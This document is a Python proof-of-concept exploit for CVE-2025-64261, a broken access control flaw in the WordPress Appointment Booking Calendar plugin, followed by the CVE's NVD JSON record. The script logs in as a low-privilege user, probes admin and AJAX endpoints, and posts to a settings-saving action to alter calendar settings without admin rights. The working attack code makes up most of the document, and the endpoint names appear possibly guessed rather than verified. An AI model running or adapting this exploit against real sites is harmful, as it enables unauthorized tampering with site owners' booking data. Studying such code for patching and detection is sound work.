CVE-2025-64261

# CVE-2025-64261 PoC - WordPress Appointment Booking Calendar Broken Access Control # Author: Security Researcher # Target: Appointment Booking Calendar Plugin <= 1.3.95 import requests import sys # Configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def get_wordpress_nonce(url, cookie): """Extract WordPress nonce from the target page""" response = requests.get(url, cookies=cookie) if response.status_code == 200: # Extract nonce from page content import re nonce_match = re.search(r'data-nonce="([a-zA-Z0-9]+)"', response.text) if nonce_match: return nonce_match.group(1) return None def exploit_broken_access_control(target_url, username, password): """ Exploit Missing Authorization vulnerability in Appointment Booking Calendar This PoC demonstrates accessing admin functions with low-privilege user account """ session = requests.Session() # Step 1: Login as low-privilege user login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Successfully logged in as low-privilege user") # Step 2: Access admin functionality (requires higher privileges) admin_endpoints = [ '/wp-admin/admin.php?page=appointment_booking_calendar', '/wp-admin/admin-ajax.php?action=appbc_get_appointments', '/wp-admin/admin-ajax.php?action=appbc_save_appointment' ] for endpoint in admin_endpoints: url = target_url + endpoint response = session.get(url) # Check if access was granted (vulnerability present) if response.status_code == 200 and 'appointment' in response.text.lower(): print(f"[VULN] Accessible endpoint: {endpoint}") print(f"[VULN] This endpoint should require admin privileges!") # Step 3: Attempt to modify calendar settings settings_url = f"{target_url}/wp-admin/admin-ajax.php" settings_data = { 'action': 'appbc_save_settings', 'calendar_id': '1', 'settings': 'malicious_settings' } settings_response = session.post(settings_url, data=settings_data) if settings_response.status_code == 200: print("[VULN] Successfully modified calendar settings without admin privileges!") return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-64261 PoC - Appointment Booking Calendar") print("Missing Authorization / Broken Access Control") print("=" * 60) exploit_broken_access_control(TARGET_URL, USERNAME, PASSWORD)

{"cve": {"id": "CVE-2025-64261", "sourceIdentifier": "[email protected]", "published": "2025-11-13T10:15:51.310", "lastModified": "2026-04-27T16:16:38.520", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in codepeople Appointment Booking Calendar appointment-booking-calendar allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Appointment Booking Calendar: from n/a through <= 1.3.95."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/appointment-booking-calendar/vulnerability/wordpress-appointment-booking-calendar-plugin-1-3-95-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}